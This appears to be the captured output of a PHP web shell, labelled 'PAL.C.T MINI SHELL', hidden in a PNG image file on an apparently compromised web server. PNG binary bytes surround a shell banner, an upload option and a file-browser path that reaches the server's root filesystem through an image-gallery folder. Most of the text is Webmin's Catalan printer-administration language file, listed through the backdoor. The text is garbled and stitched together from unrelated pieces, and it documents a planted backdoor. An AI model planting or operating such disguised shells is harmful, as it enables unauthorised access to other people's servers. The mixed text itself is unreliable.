php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/lpadmin/lang/
upload
files >> /var/www/html/img_galeri/2r1asasas/root/usr/libexec/webmin/lpadmin/lang/ca

index_title=Administració d'Impressores
index_header=Impressores disponibles
index_name=Impressora
index_desc=Descripció
index_to=Imprimeix sobre
index_driver=Controlador/Filtre
index_enabled=Activada
index_accepting=Acceptant
index_jobs=Treballs
index_none=No hi ha cap impressora instal·lada al sistema.
index_list=Llista...
index_jlist=Treballs...
index_jcount=$1 treballs...
index_add=Afegeix una impressora nova.
index_stop=Atura el Gestor d'Impressió
index_stopmsg=Fes clic sobre aquest botó per aturar el gestor d'impressió en execució. Això impedirà que cap usuari local ni remot pugui imprimir al sistema.
index_start=Inicia el Gestor d'Impressió
index_startmsg=Fes clic sobre aquest botó per engegar el gestor d'impressió. Això permetrà tant als usuaris locals com als remots d'imprimir al sistema.
index_restart=Reinicia el Gestor d'Impressió
index_restartmsg=Fes clic sobre aquest botó per reiniciar el gestor d'impressió. Això forçarà l'aplicació de la configuració d'impressió actual.
index_return=a la llista d'impressores
index_esystem=Instal·la el programari del sistema d'impressió triat, o bé utilitza la <a href='$1'>configuració del mòdul</a> per canviar-lo.
index_style=Sistema d'impressió: $1
index_cluster=Servidors de Clúster
index_clusterdesc=Fes clic sobre aquest botó per configurar servidors Webmin addicionals en els quals es crearan, actualitzaran i suprimiran impressores.
index_delete=Suprimeix les Impressores Seleccionades

style_solaris=Solaris
style_linux=LPR de Linux
style_freebsd=LPR de FreeBSD
style_hpux=HPUX
style_lprng=LPRng
style_unixware=UnixWare
style_cups=CUPS
style_irix=IRIX
style_aix=AIX

edit_eedit=No tens permís per editar aquesta impressora
edit_eadd=No tens permís per crear impressores
edit_add=Creació d'Impressora
edit_edit=Edició d'Impressora
edit_conf=Configuració d'Impressora
edit_name=Nom
edit_acc=Accepta peticions
edit_why=No - Perquè
edit_desc=Descripció
edit_ena=Impressió Activada
edit_acl=Control d'accés
edit_allow=Permès a tothom
edit_deny=Denegat a tothom
edit_allowu=Permès als usuaris llistats...
edit_denyu=Denegat als usuaris llistats...
edit_banner=Imprimeix portada
edit_opt=Opcional
edit_default=Impressora per defecte
edit_already=Ja és la impressora per defecte
edit_max=Mida màxima<br>dels treballs<br>d'impressió
edit_unlimited=Il·limitat
edit_dacc=El controlador accepta
edit_dtext=Text
edit_dpost=PostScript
edit_dother=Altres
edit_alt=Noms alternatius de la impressora
edit_dest=Destinació de la impressió
edit_dev=Dispositiu local
edit_file=Fitxer Local
edit_remote=Servidor remot Unix
edit_rqueue=Impressora
edit_type=Tipus
edit_smb=Servidor remot Windows
edit_share=Impressora
edit_user=Usuari
edit_pass=Contrasenya
edit_wgroup=Grup de treball
edit_hpnp=Servidor remot HPNP
edit_port=Port
edit_direct=Connexió directa TCP
edit_dport=Port
edit_driver=Controlador d'impressió
edit_check=Comprova si el servidor remot funciona

blocks=blocs

save_err=No s'ha pogut desar la impressora
save_eadd=No tens permís per afegir impressores
save_eedit=No tens permís per editar aquesta impressora
save_ename='$1' no és un nom d'impressora vàlid
save_edup=Ja existeix una impressora anomenada '$1'
save_eallow=No s'han introduït els usuaris permesos
save_edeny=No s'han introduït els usuaris denegats
save_euser=L'usuari '$1' no existeix
save_etype=Has de seleccionar almenys un tipus de controlador d'acceptació
save_emax=La mida màxima del treball d'impressió ha de ser un enter
save_efile='$1' no existeix
save_erhost=El host remot '$1' no existeix
save_erport=El port remot '$1' no és vàlid
save_erqueue='$1' no es un nom de cua remota vàlid
save_eremote=Amb les impressores remotes Unix no es poden utilitzar controladors
save_edhost=El host directe '$1' no existeix
save_edport=Hi falta el port directe o no és vàlid
save_evalid=El sistema d'impressió no ha permès aquesta impressora
save_errslave=La impressora s'ha creat bé en aquest sistema, però s'han produït els errors següents als sistemes del clúster: $1
save_egone=No s'ha trobat cap impressora anomenada '$1'
save_errdelslave=La impressora s'ha suprimit bé en aquest sistema, però s'han produït els errors següents als sistemes del clúster: $1

jobs_title=Treballs d'Impressió
jobs_header=Treballs d'impressió de $1
jobs_id=ID del treball
jobs_size=Mida
jobs_by=Enviat per
jobs_when=Enviat 
jobs_file=Nom del fitxer
jobs_cancel=Fes clic sobre un ID de treball de la llista de dalt per cancel·lar-lo.
jobs_cancelview=Fes clic sobre un ID de treball de la llista de dalt per cancel·lar-lo, o bé fes clic sobre la mida per visualitzar-lo.
jobs_none=La impressora $1 no té cap treball pendent.
jobs_all=Cancel·la tots els treballs d'impressió
jobs_bytes=bytes
jobs_test=Imprimeix Pàgina de Prova
jobs_cancelsel=Cancel·la els Treballs Seleccionats
jobs_on=A la impressora $1
jobs_return=a la llista de treballs d'impressió

cancel_ecannot=No tens permís per cancel·lar treballs d'impressió
cancel_err=No s'ha pogut cancel·lar el treball d'impressió
cancel_egone=El treball d'impressió $1 ja no existeix

view_ecannot=No pots visualitzar aquest treball d'impressió
view_egone=Aquest treball d'impressió ja no existeix

start_ecannot=No tens permís per iniciar el gestor d'impressió
start_err=No s'ha pogut iniciar el gestor d'impressió

stop_ecannot=No tens permís per aturar el gestor d'impressió
stop_err=No s'ha pogut aturar el gestor d'impressió

restart_ecannot==No tens permís per reiniciar el gestor d'impressió
restart_err=No s'ha pogut reiniciar el gestor d'impressió

webmin_none=Cap
webmin_nonemsg=Impressora PostScript o text
webmin_remotemsg=Impressora remota
webmin_model=Model
webmin_prog=Programa
webmin_driver=Controlador Webmin
webmin_uniprint=Controlador Uniprint
webmin_edrivers=No s'han pogut obtenir els controladors de $1. Els controladors de Webmin que utilitzen ghostscript no estan disponibles
webmin_egs=No s'ha trobat l'ordre $1. Els controladors de Webmin que utilitzen ghostscript no estan disponibles
webmin_edriver='$1' no existeix

caldera_none=Cap
caldera_nonemsg=Impressora transparent o remota
caldera_prog=Programa
caldera_coas=Controlador COAS
caldera_printer=Impressora i resolució
caldera_eof=Envia EOF
caldera_paper=Mida del paper
caldera_double=Imprimeix a doble cara
caldera_gsopts=Opcions addicionals GS
caldera_uniprint=Controlador Uniprint
caldera_eprog='$1' no existeix
caldera_edriver=No has seleccionat cap controlador d'impressió
caldera_eres=No has seleccionat cap resolució

redhat_none=Cap
redhat_nonemsg=Impressora PostScript o text
redhat_prog=Programa
redhat_driver=Controlador de Redhat
redhat_printer=Impressora i resolució
redhat_eof=Envia EOF
redhat_paper=Mida del paper
redhat_pages=Pàgines per pàgina de sortida
redhat_gsopts=Opcions addicionals GS
redhat_hmargin=Marge esquerre/dret
redhat_vmargin=Marge superior/inferior
redhat_crlf=Corregeix el text escalat
redhat_eprog='$1' no existeix
redhat_edriver=No has seleccionat cap controlador d'impressió
redhat_ehmargin=Hi falta el marge esquerre/dret o bé és invàlid
redhat_evmargin=Hi falta el marge superior/inferior o bé és invàlid
redhat_eres=No has seleccionat cap resolució
redhat_printer2=Model i controlador de la impressora

suse_none=Cap
suse_nonemsg=Impressora PostScript o text
suse_prog=Programa
suse_driver=Controlador APSfilter
suse_printer=Tipus d'impressora
suse_res=Resolució en PPP
suse_colour=Impressora en color
suse_paper=Mida del paper
suse_method=Mètode de filtratge
suse_auto=Automàtic
suse_ascii=ASCII
suse_raw=Transparent
suse_extra=Opcions extra de ghostscript
suse_yast2=Controlador YAST2
suse_edriver=No has seleccionat cap tipus d'impressora
suse_eres=No has seleccionat cap resolució

estop=No s'ha pogut aturar lpd: $1

acl_printers=Impressores que aquest usuari pot configurar
acl_add=Pot crear impressores
acl_cancel=Pot cancel·lar treballs d'impressió
acl_stop=Pot aturar o iniciar el gestor d'impressió
acl_restart=Només reiniciar
acl_listed=Només per a impressores seleccionades...
acl_pall=Totes les impressores
acl_psel=Seleccionades...
acl_view=Mostra les impressores no configurables
acl_test=Pot imprimir pàgines de prova
acl_user=Gestiona els treballs d'impressió propietat de
acl_user_all=Tots els usuaris
acl_user_this=L'usuari Webmin actual
acl_delete=Pot suprimir impressores
acl_cluster=Pot gestionar el clúster d'impressores

log_stop=S'ha aturat el servidor d'impressió
log_start=S'ha iniciat el servidor d'impressió
log_restart=S'ha reiniciat el servidor d'impressió
log_cancel_job=S'ha cancel·lat el treball d'impressió $2 a $1
log_cancel_all=S'ha cancel·lat tots els treballs d'impressió de $1
log_cancel_sel=S'han cancel·lat $2 treballs d'impressió a $1
log_create=S'ha creat la impressora $1 a $2
log_modify=S'ha modificat la impressora $1 a $2
log_delete=S'ha suprimit la impressora $1 a $2
log_create_l=S'ha creat la impressora $3 $1 a $2
log_modify_l=S'ha modificat la impressora $3 $1 a $2
log_delete_l=S'ha suprimit la impressora $3 $1 a $2

linux_paralel=Port Paral·lel $1
linux_serial=Port Sèrie $1 (COM$1)
linux_null=Dispositiu Nul
linux_usb=Impressora USB $1
linux_ecmd=No s'ha trobat al sistema l'ordre $1, cosa que indica que el sistema d'impressió de Linux no s'ha instal·lat.
linux_espool=El directori de spool $1 no existeix, cosa que indica que el sistema d'impressió de Linux no està instal·lat.

freebsd_paralel=Port Paral·lel
freebsd_serial=Port Sèrie $1 (COM$1)
freebsd_ecmd=No s'ha trobat al sistema l'ordre $1, cosa que indica que el sistema d'impressió de FreeBSD no s'ha instal·lat.
freebsd_espool=El directori de spool $1 no existeix, cosa que indica que el sistema d'impressió de FreeBSD no està instal·lat.

openbsd_paralel=Port Paral·lel
openbsd_serial=Port Sèrie $1 (COM$1)

unixware_paralel=Port Paral·lel $1
unixware_serial=Port Sèrie $1
unixware_null=Dispositiu Nul
unixware_ecmd=No s'ha trobat al sistema l'ordre $1, cosa que indica que el sistema d'impressió de Unixware no s'ha instal·lat.

hpux_paralel=Paral·lel $1
hpux_serial=Sèrie $1
hpux_null=Dispositiu Nul
hpux_ecmd=No s'ha trobat al sistema l'ordre $1, cosa que indica que el sistema d'impressió de HPUX no s'ha instal·lat.
hpux_eiface=El directori de scripts d'interfície $1 no existeix, cosa que indica que el sistema d'impressió de HPUX no està instal·lat.

lprng_paralel=Port Paral·lel $1
lprng_serial=Port Sèrie $1 (COM$1)
lprng_null=Dispositiu Nul
lprng_ecmd=No s'ha trobat al sistema l'ordre $1, cosa que indica que el sistema d'impressió LPRng no s'ha instal·lat.
lprng_espool=El directori de spool $1 no existeix, cosa que indica que el sistema d'impressió LPRng no està instal·lat.

solaris_paralel=Port Paral·lel
solaris_uparalel=Port Paral·lel Ultra 5/10
solaris_serial=Port Sèrie $1
solaris_null=Dispositiu Nul
solaris_ecmd=No s'ha trobat al sistema l'ordre $1, cosa que indica que el sistema d'impressió de Solaris no s'ha instal·lat.

test_title=Pàgina de Prova
test_ecannot=No tens permís per imprimir pàgines de prova
test_desc=Aquest formulari permet imprimir una pàgina de prova per la impressora $1. Selecciona el tipus de pàgina que vols imprimir:
test_0=Pàgina PostScript en blanc i negre
test_1=Pàgina PostScript en color
test_2=Text ASCII
test_3=Qualsevol fitxer pujat
test_print=Imprimeix la pàgina
test_exec=S'està imprimint la pàgina de prova amb l'ordre $1...
test_failed=...l'ordre ha fallat!
test_ok=...s'ha completat l'ordre.

cups_none=Cap
cups_nonemsg=Impressora transparent o remota
cups_prog=Programa
cups_driver=Controlador CUPS
cups_eprog='$1' no és un programa vàlid
cups_opts=Opcions de $1
cups_ecmd=No s'ha trobat al sistema l'ordre $1, cosa que indica que el sistema d'impressió CUPS no s'ha instal·lat.

irix_ecmd=No s'ha trobat al sistema l'ordre $1, cosa que indica que el sistema d'impressió d'IRIX no s'ha instal·lat.
irix_eiface=No existeix el directori de scripts d'interfície $1, cosa que indica que el sistema d'impressió d'IRIX no està instal·lat.

aix_port=Port d'impressora $1
aix_edesc=Descripció invàlida - només es permeten lletres i números, sense espais
aix_ecmd=No s'ha trobat el servidor d'impressió $1 d'AIX. Pot ser que no estigui instal·lat o que hi hagi un altre sistema d'impressió en ús.

cluster_title=Servidors d'Impressió del Clúster
cluster_none=Encara no s'ha afegit cap servidor al clúster d'impressió.
cluster_host=Nom de host
cluster_desc=Descripció
cluster_os=Sistema operatiu
cluster_add=Afegeix servidor
cluster_gadd=Afegeix servidors al grup
cluster_need=Has d'afegir servidors amb un usuari i una contrasenya al mòdul d'Índex de Servidors Webmin abans de poder-los gestionar aquí.
cluster_return=als servidors del clúster
cluster_delete=Elimina els Seleccionats
cluster_ecannot=No tens permís per gestionar els servidors d'impressió del clúster

add_title=Addició de Servidors
add_msg=S'està afegint $1...
add_gmsg=S'està afegint servidors al grup $1...
add_err=No s'ha pogut afegir el servidor
add_gerr=No s'ha pogut afegir el grup
add_echeck=El servidor $1 no té el mòdul d'Administració d'Impressores
add_ediff=El servidor $1 està utilitzant un sistema d'impressió ($2) diferent del d'aquest servidor
add_ediff2=El servidor $1 està utilitzant un controlador d'impressió ($2) diferent del d'aquest servidor
add_ok=S'ha afegit $1, amb $2 impressores.
y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`